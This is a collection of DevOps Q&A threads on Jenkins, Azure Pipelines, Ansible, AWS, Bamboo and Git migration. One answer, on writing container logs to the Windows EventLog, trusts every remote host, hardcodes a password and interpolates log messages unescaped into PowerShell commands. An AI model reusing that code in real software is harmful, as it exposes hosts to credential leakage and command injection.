title: GIT Monorepo with enterprise Jenkins

text:
# Question
Title: GIT Monorepo with enterprise Jenkins
Need bit of help regarding Jenkins CI jobs. I am pretty new to Jenkins world

As per the current set up in our project we have different repositories in GIT and they have web hooks setup with Jenkins to trigger CI jobs in the event of any push. Please note there are separate CI job for different repos.

My requirements :

1. Build a mono repo which will consist all existing repos. ( for test purpose I have created 2 repos and merged them in mono repo ).
2. Set up Jenkins job which will trigger task only for repo where PUSH has occurred. e.g if my monorepo consist 2 merged repos repo1 and repo2 , so if any changes in repo1 should trigger only related task for repo1 and likewise for repo2.

I’m not sure how could I achieve point 2. Any help?

# Answer
My personal opinion is that each deliverable should reside in its own repository. However if one would like to keep the monorepo one could use `changeset` in conjunction with `when`:

> ```
> pipeline {
>     agent any
>     stages {
>         stage('build matchengine') {
>             when {
>                 changeset "**/matchengine/*.*"
>             }
>             steps {
>                 echo 'building match engine'
>             }
>         }
>         stage('build posttrade') {
>             when {
>                 changeset "**/posttrade/*.*"
>             }
>             steps {
>                 echo 'building post trade'
>             }
>         }
>     }
> }
>
> ```

or change the directory in several build stage and build the code inside this directory:

> ```
> stage('Build') {
>   dir('web_app') {
>     sh 'ls'
>     sh 'git pull'
>   }
> }
>
> ```

One could also decide to use the parallel option to ensure that the build times will be shortened:

> ```
> /* .. snip .. */
> stage('run-parallel-branches') {
>   steps {
>     parallel(
>       a: {
>         echo "This is branch a"
>       },
>       b: {
>         echo "This is branch b"
>       }
>     )
>   }
> }
> /* .. snip .. */
>
> ```

Regarding the question:

> Set up Jenkins job which will trigger task only for repo where PUSH has occurred. e.g if my monorepo consist 2 merged repos repo1 and repo2 , so if any changes in repo1 should trigger only related task for repo1 and likewise for repo2.

I think that `changeset` would be most useful: a change will trigger the build, but as a change only occurred in a certain path, only that build will be started.
> 2 votes

---
Tags: jenkins
---


# Question
Title: How do I configure Jenkins to trigger on a pull request based on the Git branch's name?
I want pull requests to Git where the target is master and the source has a string "foo" to trigger a Jenkins build.

If this string "foo" appears in the source branch's name when there is a pull request, I want the Jenkins build to start.

The only way I can think of doing something this sophisticated is to put the logic into a Jenkins pipeline file. Is there a plugin or supported way of making this work? I am not using Github.

Is there a way to filter any branch that does not have "foo" in it? How do I trigger a build based on a pull request? I tried doing this by itself (without the search for the pattern "foo"), and even that failed. There were no errors, but I know Jenkins was authenticating to Git with the credentials I configured in Jenkins. The Jenkins job would not run when the conditions I configured were met.

# Answer
Using a multi-branch pipeline you have several different ways of filtering branches, take for instance a regular expression for "foo". In order to use this job type, you must create a Jenkinsfile in your repo with build instructions using the scripted or declarative syntax. The term pull request is typically synonymous with services like Github and Bitbucket.

You can also filter within the pipeline itself using declarative syntax:

```
when {changeRequest branch: "foo.*", comparator: 'REGEXP' }

```

And also scripted syntax:

```
if (env.BRANCH_NAME ==~ /foo.*/){
    ...
}

```
> 2 votes

# Answer
Once could use the `when` in conjunction with the `branch` keyword if Jenkins declarative pipelines would be used:

> ```
> pipeline {
>     agent any
>     stages {
>         stage('Example Build') {
>             steps {
>                 echo 'Hello World'
>             }
>         }
>         stage('Example Deploy') {
>             when {
>                 branch 'production'
>             }
>             steps {
>                 echo 'Deploying'
>             }
>         }
>     }
> }
>
> ```
> 1 votes

---
Tags: jenkins, git, automation
---


# Question
Title: s3 static hosting not redirecting my request
I followed these instructions to redirect:

```
platform.demo.interos.net

```

to

```
platform.demo.interos.io

```

The instructions use s3 for static site hosting and use the redirect option: https://aws.amazon.com/premiumsupport/knowledge-center/redirect-domain-route-53/

But when I use the browser, the browser won't actually redirect me from the .net to the .io page, it just hangs. But when I run this:

```
curl -I platform.demo.interos.net

```

I get:

```
HTTP/1.1 301 Moved Permanently
x-amz-id-2: E4VM/vr+1HtO6Q0vvCNL16nxxxxxxFDvvgPW+EjI4g9Zk=
x-amz-request-id: 175E9039358ECD1B
Date: Sun, 28 Jul 2019 19:30:09 GMT
Location: https://platform.demo.interos.io/
Content-Length: 0
Server: AmazonS3

```

So what's not working here - why doesn't the browser recognize the 301 and do the redirection?

**UPDATE**:

I now realize it's because in the browser address bar it often adds an https:// in front, and with the protocol in front, it will not redirect. Anyone know why?

For example:

```
curl -I https://platform.demo.interos.net

```

will not resolve. but this will resolve:

```
curl -I platform.demo.interos.net

```

# Answer
The blog post you're following is somewhat obsolete, or at least incomplete in today's environment, because S3's web site hosting endpoints don't support HTTPS at all. The request will time out.

To enable HTTPS on a custom domain pointing to a bucket, you need a certificate issued in the us-east-1 region of Amazon Certificate Manager (or you can purchase one from a third party and load it into ACM there) and then a CloudFront distribution to handle the HTTPS and forward the request to S3.

See How do I use CloudFront to serve a static website hosted on Amazon S3? Note that these instructions are still applicable even though you aren't, strictly speaking, "hosting a static web site" on S3. You're still using the static hosting feature and this is how you enable HTTPS.
> 1 votes

---
Tags: amazon-web-services, amazon-s3
---


title: Where do I start learning DevOps?

text:
# Question
Title: Where do I start learning DevOps?
Searching "how to start with devops" didn't really help as, many of them like this and this as well as many others don't really point me in the right way. Every youtube video I have seen so far hasn't helped either (as I don't need videos explaining to me what IS devops), this video being the only true exception so far (that shows how things integrate with each other).

I am a CCNA and also highly proficient with DBMS-s (currently learning parallelism execution as well as other stuff).

But I have no idea what I am supposed to learn first (or where to find the **correct** resources for that matter).

I am about to graduate, so I have no access to real world experience.

Any advice or help?

# Answer
Devops relate to the execution of software. It is all about how to run an application or service. So server configuration tools, virtual machines and containers are the next steps. I suggest looking at the documentation of those tools and learning from them things like discovery, observability, scalability and redundancy. Just to name some examples:

Server config:

* PXE
* Ansible
* Puppet

VM:

* Vagrant
* QEMU

Container:

* Docker
* Kubernetes

EDIT: Cloud technologies overview:

When your software architecture is about microservices, then containers are a good choice. When you are using old monolithic applications then VMs are not a bad option. So it always depends on the context what you need to learn specifically. The topic is rather broad to summarize it. A book might help with that but sadly I cannot suggest a good broad one. "Kubernetes in Action" gives you a good start in Kubernetes though.
> 6 votes

# Answer
First of all, I would like to emphasize that DevOps is a culture and not a role. In my opinion one could compare it with a team of commandos that have their own expertise, e.g. sniper, marine, sapper (think about the commandos series). The combination of these expertises, basically working together, makes it possible to accomplish missions or creating business value as soon as possible.

**LowOps and NoOps**

Since a couple of weeks I found that after lot's of conversations with people, that a rather talk about LowOps these days. If I implement a solution then this means that it is completely automated and that a colleague can deploy machines themselves rather than asking me. Sometimes it is not immediately possible to automate it completely, but then I ensure that it is automated for myself to ensure that I only have to run one command in order to get the work done (LowOps), instead of wasting a couple of hours. If I have created such solution, I ensure that a ticket has been created for a colleague to automate my personal solution for everybody. Example: a collegue of mine transformed one of my bash script in a bot that it now run every night. This means that the knowledge has been transferred and that a NoOps solution has been created and we can both focus on new tasks.

Figure 1: https://www.gslab.com/blog-post/what-is-noops/

> "how to start with devops"

Ensure that you are part of a team with mixed competences and that the team has to deploy the software themselves. Talk with all team members and start with tasks that nobody wants to do as there is a lack of knowledge or willingness. If you start with a task then you will bump into things you do not know. Start to watch videos, attend meetups, buy and read books, read blogs and official documentation about tooling, ask colleagues to review your pull requests and communicate and listen well to people, document things well and prepare and demonstrate solutions to colleagues (knowledge sharing). The last suggestion is to keep an eye on the work-life balance.
> 4 votes

# Answer
Other answers here have focussed on tools. In my opinion, gaining competence in a toolkit is of course a good thing, but will not make you a good fit in a DevOps culture. DevOps is first a set of *practices*, or *methods*.

Understanding *why* thes practices and methods are useful comes with experience, but you don't have that luxury. I would therefore point you to

as a foundational texts.

The Continuous Delivery website also has a set of Principles and Foundations which give you the relevant grounding when starting.

Starting from these, you will learn practice and methods, which will inform *how* you collaborate and use tools.
> 3 votes

# Answer
All you need to learn is Linux, Docker, Networking, Git, Jenkins etc. You can learn them interactively here

If you are looking for video tutorials then pluralsight has something good for you.
> 2 votes

# Answer
This is the kind of question I have been asking myself many times, and that tends to follow me (now that I am barely out of "beginner", I am wondering where to learn more advanced topics). Sadly, as you pointed out, asking those questions on search engine tends to flood with websites targeting executives and trying to explain *What is devops?* and *Why should we industrialize the software cycle with devops?*

That being said, to try and answer your question, I can only speak from personal experience: I started my learning journey with the excellent Docker Get started guide.
> 1 votes

# Answer
"Learning DevOps" strikes me as too broad a query, as you also found out, but I can remember having to google the same thing.

To add to @jhamfler's answer: Ask yourself, why do you want to learn about it? Which context are you coming from? DevOps usually has to do with breaking down manual hurdles, or also silo structures in teams (everyone just doing their own task and relying on somebody else to think about integrating the results). Are there such "gaps" in your project (I assume you have one)? What parts of it could benefit from automation?

Typical problems I could suggest are:

* manual server maintenance VS scripted solutions
* reliability and backups
* automating integration tests
* automating continuous deployment (e.g. of a web service)
* ...

Perhaps a search for "continuous deployment" and "continuous integration" (CI/CD) could also help you.
> 1 votes

# Answer
The very first things you need to learn and get comfortable with:

* unix (file system, permissions, processes, services, logs, networking, etc…)
* ssh & reverse tunneling
* nano/vim
* python
* git

Then you could move on to more specific topics:

* containerization (e.g. docker)
* configuration management (e.g. ansible)
* continuous deployment (e.g. jenkins)
* monitoring (e.g. prometheus/grafana)
> 1 votes

---
Tags: learning
---


# Question
Title: Mobile CI: Versioning and Tracking Builds in JIRA
We're in process of defining a workflow for mobile builds across multiple developers. We've only had one until recently, so we didn't have to worry too much about tracking simultaneous feature builds for QA (we use gitflow).

1) Versioning

Builds for the apple and android stores require versions. But, features built for QA won't have an assigned version yet, since we don't know what release it will be in. We are thinking of just using the current version in production, and using build counts to differentiate builds. Is there a best practice for tracking builds in Testflight / Google Play only targeted for internal test?

2) Tracking Builds in JIRA

With multiple builds in the store for testing, we need to tag our JIRA tickets with the associated build in the store. We're going to do this manually, but I'm not sure the best way to do that is. And, if we wanted to build in some automation, what would that look like?

# Answer
The answer will vary depend on the CI/CD tooling you are using.

If you are planning on using Atlassian's CI/CD tool Bamboo, you could use the Bamboo variable ${bamboo.buildNumber} which ties the build number of Bamboo to your version number. You can have a task that will adjust the version based on this variable. Bamboo integrates with Jira so that you can see the builds and deployments directly within Jira. There is also Git so you could see the commits that went into the deployment. This effectively would automate the second requirement you listed.

There are plugins available for Jira that will integrate with other CI/CD toolsets (e.g. Jenkins, CircleCI), and the idea would be the same: let the CI/CD server automate the versioning for you.
> 1 votes

---
Tags: continuous-integration, jira, ios
---


# Question
Title: Git Remote Access in Azure Pipelines, possible?
I'm trying to achieve the following through the build pipeline.

* Default branch: SIT (from the Azure Repos repository)
* Trigger: whenever a change is made in DEV branch

In a powershell task do the following:

* Merge latest from DEV to the current SIT branch
* Deploy the latest from SIT branch
* Push the updated SIT branch to the upstream repository

Here is my code:

```
git checkout -b temp
git merge origin/DEV
git branch -f SIT temp
git checkout SIT
git status
git branch -d temp
git remote add neworigin $(RemoteOrigin)
git push -u origin --all

```

When I try to push the updated SIT branch using `git push -u origin SIT` and I'm getting the following error:

> remote: 0000000000aaTF401027: You need the Git 'GenericContribute' permission to perform this action. Details: identity 'Build\d073f6c7-4fa2-4bda-8694-8a41fb808fff', scope 'repository'. remote: TF401027: You need the Git 'GenericContribute' permission to perform this action. Details: identity 'Build\d073f6c7-4fa2-4bda-8694-8a41fb808fff', scope 'repository'. fatal: unable to access '': The requested URL returned error: 403

Can someone help?

# Answer
I've had a similar issue with git commands in Azure Pipelines. The reason is that any commands that access the origin server, such as `git push` need to done by a user that has the credentials to do so. In your situation, your PowerShell script is running in the user context of `Project Collection Build Service (yourProjectName)` and it does not have the permissions to contribute to your repo by default.

See this answer, I think it will fix you up: https://stackoverflow.com/a/56542631/11767897
> 1 votes

---
Tags: azure-devops, azure-pipelines
---


# Question
Title: Docker on Windows: Write directly to host's EventLog?
I run all my services as Docker containers on Linux by default. Recently got an order from a very large company to deploy to their Windows Servers. They have a very specific request for all application logs to appear in the host machine's EventLog. Their administrators don't know much about Docker and they don't want a centralised logging solution, like Kibana, for this deployment.

Is there a feasible way to achieve that on Windows?

Cheers

**EDIT**

The services are all written in .NET Core 2.2.

# Answer
> 0 votes
On Windows (Dotnet Core) it can be done using powershell remote-invoke.

In the container you need to set a trusted host by doing:

`RUN @powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force`

Ideally replace the `*` with the host actual IP address. Keep in mind it changes between system restarts.

On the host you need to create an Event Source called `MyLogger`.

After that in your app you can create a custom logger that you add to the Microsoft Logging pipeline.

**RemoteEventLogProvider.cs:**

```
using System.Management.Automation;
using System.Net;
using Microsoft.Extensions.Logging;

namespace LogWriter
{
    public class RemoteEventLogProvider : ILoggerProvider
    {
        private readonly string _computer;
        private readonly PowerShell _powershell;
        private readonly NetworkCredential _credential;

        public RemoteEventLogProvider(string computer, NetworkCredential credential)
        {
            _computer = computer;
            _credential = credential;
            _powershell = PowerShell.Create();
        }

        public ILogger CreateLogger(string category)
        {
            return new RemoteEventLogger(_computer, _credential, _powershell, category);
        }

        public void Dispose()
        {
            _powershell.Dispose();
        }
    }
}

```

**RemoteEventLogger.cs**

```
using System;
using System.Management.Automation;
using System.Net;
using Microsoft.Extensions.Logging;

namespace LogWriter
{
    public class RemoteEventLogger : ILogger
    {
        private readonly string _computer;
        private readonly string _category;
        private readonly PowerShell _powershell;
        private readonly NetworkCredential _credential;

        public RemoteEventLogger(string computer, NetworkCredential credential, PowerShell powershell, string category)
        {
            _computer = computer;
            _category = category;
            _credential = credential;
            _powershell = powershell;
        }

        public IDisposable BeginScope<TState>(TState state)
        {
            throw new NotImplementedException();
        }

        public bool IsEnabled(LogLevel logLevel)
        {
            return true;
        }

        public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception exception, Func<TState, Exception, string> formatter)
        {
            var script = ScriptBlock.Create($"$password = ConvertTo-SecureString '{_credential.Password}' -AsPlainText -Force;" +
                                            $"$credential = New-Object System.Management.Automation.PSCredential ('{_credential.UserName}', $password);" +
                                            $"Invoke-Command -ScriptBlock {{ Write-EventLog -EntryType {logLevel} -EventId 0 -Source MyLogger -LogName Application -Message \"{formatter(state, exception)}\" }} -ComputerName {_computer} -Credential $credential;");

            var results = _powershell.AddScript(script.ToString()).Invoke();

            _powershell.Commands.Clear();
        }
    }
}

```

Example usage **Program.cs:**

```
using System;
using System.Net;
using System.Threading.Tasks;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.Logging;

namespace LogWriter
{
    class Program
    {
        static async Task Main(string[] args)
        {
            var config = new ConfigurationBuilder()
                      .AddCommandLine(args)
                      .AddEnvironmentVariables()
                      .Build();

            var computer = config["ConnectionStrings:Host.Address"];
            var provider = new RemoteEventLogProvider(computer, new NetworkCredential($"{computer}\\username", "password"));

            using (var factory = new LoggerFactory().AddConsole())
            {
                factory.AddProvider(provider);

                var logger = factory.CreateLogger("MyLogger");

                logger.LogInformation($"Remote log at {computer}");

                while (true)
                {
                    try
                    {
                        logger.LogInformation($"The time is {DateTime.UtcNow}");

                        if (DateTime.UtcNow.Second % 2 == 0)
                        {
                            throw new Exception("random shit");
                        }
                        else
                        {
                            logger.LogWarning("Example warning");
                        }
                    }
                    catch (Exception ex)
                    {
                        logger.LogError(ex, ex.Message);
                    }

                    await Task.Delay(TimeSpan.FromSeconds(5));
                }
            }
        }
    }
}

```

Example **Dockerfile**:

```
# Build
FROM mcr.microsoft.com/dotnet/core/sdk:2.2 AS build-env
WORKDIR /app
COPY . /app

RUN dotnet publish -c Release -o /app/out

# Runtime
FROM mcr.microsoft.com/windows/servercore:ltsc2019
RUN curl -o c:\dotnet.exe https://download.visualstudio.microsoft.com/download/pr/a9bb6d52-5f3f-4f95-90c2-084c499e4e33/eba3019b555bb9327079a0b1142cc5b2/dotnet-hosting-2.2.6-win.exe
RUN c:\dotnet.exe /quiet /install

# Host
RUN @powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force

# Application
WORKDIR /app
COPY --from=build-env /app/out .

ENTRYPOINT dotnet LogWriter.dll

```

---
Tags: docker, windows
---


# Question
Title: What considerations should be taken into account for a good log file format?
We have a practical question I struggle to answer :

> What is a good logfile schema?

Here are the caveats:

* There are several workloads, each writing more than one log file
* Applications are on more than one language
* All applications are in the cloud, but on different cloud providers
* All logs are sent to a central dashboard (e.g. Kibana) which can be queried.

The requirements which this schema should fulfill are:

* must be queryable (structured)
* should be able to determine failure patterns (correlations)
* no proprietary file formats

For a particular case, we may want to set a trigger of some action based on a particular query.

Assuming, e.g. we write logs in JSON format, what would be a good schema to apply to the entries, to satisfy the caveats and requirements?

# Answer
> 2 votes
If you are dealing with application logs, here are the three broad categories of information that a good log file should cover:

* basic context (timestamp, log level, application name, source file name, source module/function, source line number, log message)
* server context (host name, data center name unless host name has it encoded, cluster/pod info, container info)
* user context (request URI, username or a hash, request ID etc)

If we are using JSON for logging, care must be taken to make sure that the keys are short enough to reduce the redundant overhead and also make it easier to query. Using all lowercase and underscores for keys could be a better idea because some of the log aggregators like Splunk are case sensitive.

In the structured format, stack traces become a little tricky to handle. One solution is to use a marker line to indicate the end of a long line rather than just the newline.

---
Tags: monitoring, cloud, logging, methodology
---


# Question
Title: Prevent misspelled variables passed to Ansible roles
I'm looking for strategies to mitigate silent errors related to misspelled or otherwise mistyped variables being passed to Ansible roles.

So for example, I have a role with a defaults/main.yml:

```
foo_version: "1.0"

```

Within the tasks/main.yml:

```
- get_url:
    url: "https://foo.com/foo-{{ foo_version }}.tar.gz"
    dest: /tmp/

```

Now in my main playbook, if I do this, it will install the default version, 1.0:

```
- include_role: name=foo

```

If I do this, it will install version 2.0:

```
- include_role: name=foo
  vars:
    foo_version: "2.0"

```

So far so good. But if I do this by accident, it will install 1.0 without my realizing it:

```
- include_role: name=foo
  vars:
    fooo_version: "2.0"

```

The only "solution" I've thought of is to remove the defaults/main.yml, in which case it would fail in the last case because `foo_version` would remain undefined. But then I can't take advantage of the benefits of having defaults.

Are there other solutions? Thanks!

# Answer
> 1 votes
> Q: " Prevent misspelled variables passed to Ansible roles ... remove the defaults/main.yml, ... But then I can't take advantage of the benefits of having defaults. Are there other solutions?

A: Yes. Tell *include\_role* to read other file *defaults\_from*. Fit the content of this file to your needs. For example

```
- include_role:
    name: foo
    defaults_from: main_special.yml
  vars:
    fooo_version: "2.0"

```

# Answer
> 0 votes
I came up with what I think is a pretty good solution.

First, it requires the addition of this to each role:

```
- assert:
    that: "{{ item.key }} is defined"
    fail_msg: "Attempted to override an unknown variable: {{ item.key }}"
    quiet: yes
  loop: "{{ q('dict', override) }}"

- set_fact: { "{{ item.key }}":"{{ item.value }}" }
  loop: "{{ q('dict', override) }}"

```

I added those two tasks to a file, `override.yml` within `ansible/tasks/`, and then used `include_tasks` to dynamically include that file only when `override` is actually defined:

```
- include_tasks: "tasks/override.yml"
  when: override is defined

```

Second, it requires that when you override defaults with `import_role` that you do the following:

```
- include_role:
    name: foo
  vars:
    override:
      fooo_version: "2.0"

```

The first block of code now loops through the passed `override` dictionary, and verifies that each key already is defined as a variable. So in the above example, the assert would fail because `fooo_version` is not defined. It then loops through the `override` dictionary a second time and uses `set_fact` to set the value of each key:val pair in the dictionary.

---
Tags: ansible
---


# Question
Title: Three solutions to structure a deployment with Ansible?
I am currently deploying a new product and came across some problems to structure my Playbook and Roles. I have three different solutions and hope to get some input which path might be the best.

The product is a webapp on a windows server. The following steps are needed to deploy (high level):

* install javajdk
* install tomcat
* install win\_service
* configure java regkes
* configure tomcat
* install webapp
* start service

I use static inventories for prod and staging, group\_vars, roles (created with ansible-galaxy) so there is some kind of structure.

---

**Solution 1** Put everything in one huge playbook. That does not sound well, but has the advantage that you know the variables from previous installations e.g. `tomcat` needs to know where `JAVA_HOME` is... that was with the `javajdk` installation, due to more than one java on the machines there is no global `JAVA_HOME`...

---

**Solution 2** Break all out in small roles. Sounds great but roles should be independent from each other. I did not found a method to decouple tasks. Would it make sense to have single roles for e.g. `install_tomcat`, `config_tomcat` and set up a playbook which has the mentioned roles in sequence?

But how does one role know about, e.g. a path name which is needed in the next role. -\> Installation sets the path, config needs to know.. I an really unsure to make roles independent.

---

**Solution 3** Kind of solution 2. Have a main playbook which contains only roles, split as much as possible to roles. Have independent variable names in `./roles/vars/main.yml`

Somehow(?) find a place higher in the variable precedence with the playbook where all needed `var` definitions go. Internally either path a variable to the role or simply over-rule a role variable.

E.g. a product has a service, the service name is generally part of a path name for `tomcat`. The `tomcat` name should not depend on the service, so there should be a `tomcat_install_path` in the role but also a `service_name` with the product. So in case the playbook for the product is called the service name should be part of the name, the `tomcat_install` is called with a total different deployment there should be no fiddling with a service name.

---

*I would go with Solution 3 but I have not yet found a way to set that up. What is the experts opinion, is solution 3 doable, is one of the other once better or is there a 4th solution?*

# Answer
> 3 votes
I would recommend to structure the code as defined in the Ansible Best Practices document:

and to follow the structure that major contributors to the ansible galaxy platform use, like geerlingguy.

If one will follow a significant different structure then it will be really hard in the future to reuse roles from the ansible galaxy community and one has to reinvent the wheel.

# Answer
> 1 votes
Short Answer: You do programming here. Consider Programming Standards (cleancode) like "package by feature" and build role which are reusable and express the reason of the role. e.g.

```
roles:
  - role: jdk
  - role: tomcat
      (contains tasks with 'install tomcat', 'configure tomcat' )
      (requires jdk)
  - role: the_wepapp
      (requires tomcat)

```

Futhermore: The underlying role e.g. the jdk should never know about the tomcat role etc...

---
Tags: ansible, structure
---


# Question
Title: Migrating from TFVS to GIT using GIT-TFS
We have a large TFS repository which we would like to migrate to git.

We are considering using git-tfs for a while, in order for everything to continue working while we migrate.

We have large (or small, but rapidly changing) binary files scattered throughout the code, which have been checked-in to tfs throughout the history.

My worries about git-tfs I have not been able to find accessible answers for:

1. What is the source of truth for git-tfs? Is it a git server, a tfs server, or some hybrid, or none of the above?
2. If it is a git server, how would this affect workflow while knowing binary files exist?
3. We thought of using lfs, but not sure how this wuold play with git-tfs.

I would love some light shed on this topic, as it would be quite pointless to migrate only to find out binary files make the new repo not usable

# Answer
As of Azure DevOps Server 2019, migration from Team Foundation Version Control (TFVC) to Git is a simple import command. However, there are caveats to the migration due to how very different Git is in how it stores changes.

Microsoft has a great write-up for this migration and if you have the newer version of Azure DevOps Server or if you're in the cloud, you don't need git-tfs.

But, a few highlights:

1. Git is distributed version control, which means that you have a full copy of the files and all historical changes simply by cloning the repository to your machine. You technically don't need a server, but if you have a team and collaborate, a server is needed to share changes with the team via appropriate Git workflows and branching.
2. Git is really good at storing text files and will only ever store a single copy of a file with each commit storing a snapshot of the differences in that file over time. Binary files require storage of the full file for each commit that changes the file.
3. When binary files need to be stored in a Git repo, it's best to use Git LFS (Large File System). This allows you to mark files as large/binary and Git will only track a reference to the file, not the actual file itself. This keeps the repository small and nimble.
4. When you have an enormous repository (files/history) that is in the 2-4 GB range, you may need the Microsoft-contributed Virtual File System for Git, which Microsoft uses for its enormous 500 GB Windows code-base that developers all around the globe work from. Contributions from Microsoft and the rest of the open-source community have done a great job of keeping Git commands performance-tuned for larger repos, but VFS for Git is a big leap for repos that cannot be small.

If you are still running an older version of TFS that doesn't yet have the easy import option, that's OK. Usage of git-tfs is a viable solution and Microsoft also has a great write-up for how to approach this manual migration. In either case, there will potentially be work involved if your code-base if you stored a lot of binary files in TFVC compared to text/code.

What git-tfs is actually doing is creating a historical clone of your TFVC repository into a local Git repository by replaying the history and creating Git commits. The tool can be used as a way to bridge a TFVC repo and Git repo, but you are better off fully migrating to Git and removing the TFVC repository.

Once you decide to fully migrate, it's best to do the migration in a few steps locally in the new cloned Git repo before pushing it to the TFS server as the origin. This allows you to clean up any history of binary files that may be needed. The BFG Repo-Cleaner can be used for this which can re-write history in the Git repo to remove all but the latest change to files like binaries, thus reducing the physical size of the Git repo on disk.
> 1 votes

# Answer
Answering based on using git-svn back in the day:

1. The source of truth is *both* repositories. The point of `git-*` is to juggle this relationship without creating inconsistencies in either repository while migrating. You don't need a "Git server" until the entire team decides to migrate, because Git stores *all* the history in *every* copy of the repository.
2. All files are binary. Git handles files. Ergo, Git can handle binary files. What you may have heard is that if you have an absolutely enormous amount of files (in file count or data volume) in source control something has very likely gone wrong somewhere, and Git may be slower than central version control in some rare cases.

My advice would be to simply try it. Create a local copy of your TFS repository using git-tfs, and run the Git repo through its paces without pushing the changes to your TFS server. If you run into any *specific* problems they would be appropriate for separate questions.
> 0 votes

---
Tags: git, tfs, migration
---


# Question
Title: Is it possible to design conditionally executed tasks in Bamboo?
For example, by branch name you might want to execute different tasks (regress testing in release branches instead of massive integration tests for example).

Is there a mechanism to do that in Bamboo's UI?

# Answer
> 2 votes
I don't know if there is some GUI way to do this

I am triggering the same plan in different ways from a REST request by using a variable

To do this

1. define a variable in the plan configuration variables ie `myvariable`
2. in the REST request set `bamboo.variable.myvariable` to the value required ie "1" or "2"
3. in the plan stage add a task of script and use the variable as `$bamboo_myvariable` for instance

`if [ "$bamboo_myvariable" == "1" ]; then
 # stuff to do variation 1
fi
if [ "$bamboo_myvariable" == "2" ]; then
 # suff to do variation 2
fi`

If you want to alter behaviour by branch there are variables such as "bamboo\_planRepository\_1\_branch" which are available by default and could be used ina similar way

# Answer
> 3 votes
Atlassian Labs have now provided this functionality as an add-on: https://marketplace.atlassian.com/apps/1219706/conditional-tasks-for-bamboo?hosting=server&tab=overview

Only available for versions 6.7.1+

**Update:**

This add-on is only supported up to Bamboo 7.0.6 and conditional tasks are a standard feature in Bamboo 7.1+

https://confluence.atlassian.com/bamboo/bamboo-7-1-release-notes-1013854809.html

---
Tags: bamboo
---


title: Storing Code Signing Certificate

text:
# Question
Title: Storing Code Signing Certificate
I own a public and open-source Windows Forms/C# application in a Github repo that I want to start code signing with my certificate through Azure Pipelines CI. I have set up my pipeline and it is building fine, the next step is to integrate automatic code signing, which until this point I have been doing manually. I have taken the following steps:

After adding a task, the YML generating is:

```
- task: codesigning@2
  inputs:
    secureFileId: '$(certName)'
    signCertPassword: '$(certPass)'
    files: '**/*.exe'
    timeServer: 'http://timestamp.digicert.com'
    hashingAlgorithm: 'SHA256'

```

So, saving this, it is obviously going to update my **azure-pipelines.yml** in my repository. Is it possible to perform code signing in Azure Pipelines without exposing any information in the repository? Is this considered best practice for code-signing in Azure Pipelines?

# Answer
From what I can see you have done everything correctly, you have stored both the certificate material (i.e. the PFX) and the password for the PFX in a secure location that presumably no one else can access. Assuming you don't give anyone else permissions on your Azure tenant and you don't blindly accept pull requests that change `azure-pipelines.yml` then you are in a good place.

If you are feeling paranoid, then you could create a second pipeline using a private repository that is triggered when the previous pipeline completes successfully. However, IMHO, I would carefully consider the risk you are exposing yourself to against the complexity and fragility of trying to tie two pipelines together.
> 2 votes

---
Tags: azure-devops, azure, azure-pipelines
---


# Question
Title: How to use comments to trigger rebuilds of Bitbucket pull-requests on Jenkins multi-branch pipeline
I have successfully configured a Jenkins multi-branch pipeline to build my project which is hosted on Bitbucket. I have separate pipeline requirements for the "develop" and "release" branches, and for merge requests. These are now working correctly (except for a surplus "PR-\***" job whenever a Bitbucket PR is triggered).

My remaining issue is: In old-style Jenkins I used Bitbucket Pull Request plugin, which had a feature "Comment phrase to trigger build". So in the event of a flaky unit test etc I could issue the trigger phrase as a comment in the pull request, and it would be rebuilt.

How can I achieve this behaviour on a multi-branch pipeline?

# Answer
> 1 votes
I personally use the Pull Request Notifier plugin for Bitbucket to trigger my Bitbucket Multibranch Pipeline builds in Jenkins. Using the GUI configuration tools, you can configure the Pull Request Notifier plugin to trigger a build on any arbitrary PR action, including adding comments.

However, you don't really need to use comments to trigger builds - there is a build trigger button in the PR view in Bitbucket, and you can also use the "Build Now" button in Jenkins to trigger a PR build. Both of these seem a little bit easier to me than a magic comment.

---
Tags: jenkins, jenkins-pipeline, bitbucket
---


# Question
Title: multiple projects per EC2 with Load Balancers
I have 2 EC2 instances and an Application Load Balancer.

The Load is not too high, but I'm keeping both instances working just in case. Plus, it saves the time on deployment with (one at a time) and still provides "no downtime".

Now I need to add another project.

I'd like to use my EC2 instances and only create a new Load Balancer for it.

Can I do it?

I mean, I can place projects in folders in EC2, but I cannot find a way to set Load Balancer to use a specific folder instead of the root.

My best guess now is to set Nginx to use port 80 for first project and 81 for the second one. But I haven't try it yet. Is there a better way? Are there any hidden problems?

# Answer
> 1 votes
You can archive that, but you will need to use the Application Load Balancer (ALB) which allows you to create rules (like HTTP URL paths, host header conditionals, query strings, HTTP method) to forward the traffic to a specific pool of servers that on your case would be those 2 EC2 instances.

e.g.:

/app1 --\> :/app1 /app2 --\> :/app2

Notice that you should have the ALB rule like this: `/app1/*` and `/app2/*`

---
Tags: amazon-web-services, amazon-ec2, load-balance
---


# Question
Title: Aws autoscaling group in private subnet, private communication?
I have a scenario - I have configured my frontend application in one autoscaling group and my backend application is in another autoscaling group. I'm using the load balancer also. But I don't want API call from front end to the backend over the internet. How Can I make front end application in autoscaling group to communicate privately with backend application which also in another autoscaling group?

# Answer
I am assuming that the backend application has been set up in its own subnet that has been configured for private IP addresses only. If not I would recommend that you do that as a starter for 10.

With that in place, you could set up an internal application load balancer to work on private only and have your backend ASG use this. from the AWS docs https://docs.aws.amazon.com/AmazonECS/latest/developerguide/create-application-load-balancer.html
> 1 votes

---
Tags: amazon-web-services, amazon-ec2, autoscaling
---


# Question
Title: How to remotely update AMI id in Jenkins EC2 plugin?
I have been looking for a way to update AMI id in Jenkins EC2 plugin configuration after a packer build is run. After some digging, I found a promising way to do it **IF** the packer run is done by Jenkins itself, via postbuild groovy plugin (mind you, this remains to be tested, but looks good)

However I would like to be able to run the packer build anywhere, and have the resulting AMI id updated at Jenkins remotely, presumably via authenticated REST? Is that possible? Where would I start looking?

# Answer
> 6 votes
The PR you are linking to contains a link to a python script that does exactly this, since you can run that script from anywhere you can access your Jenkins server.

# Answer
> 3 votes
Updated the python script from the PR above with:

* CSRF support to work better with Jenkins 2.x
* full support for private Jenkins jobs

Also I wrote up some usage instructions.

# Answer
> 1 votes
For me, the best place to start is to have at the end of your packer.json a call to the manifest post-processor.

This will contain the full details of the AMI that you have created in JSON format.

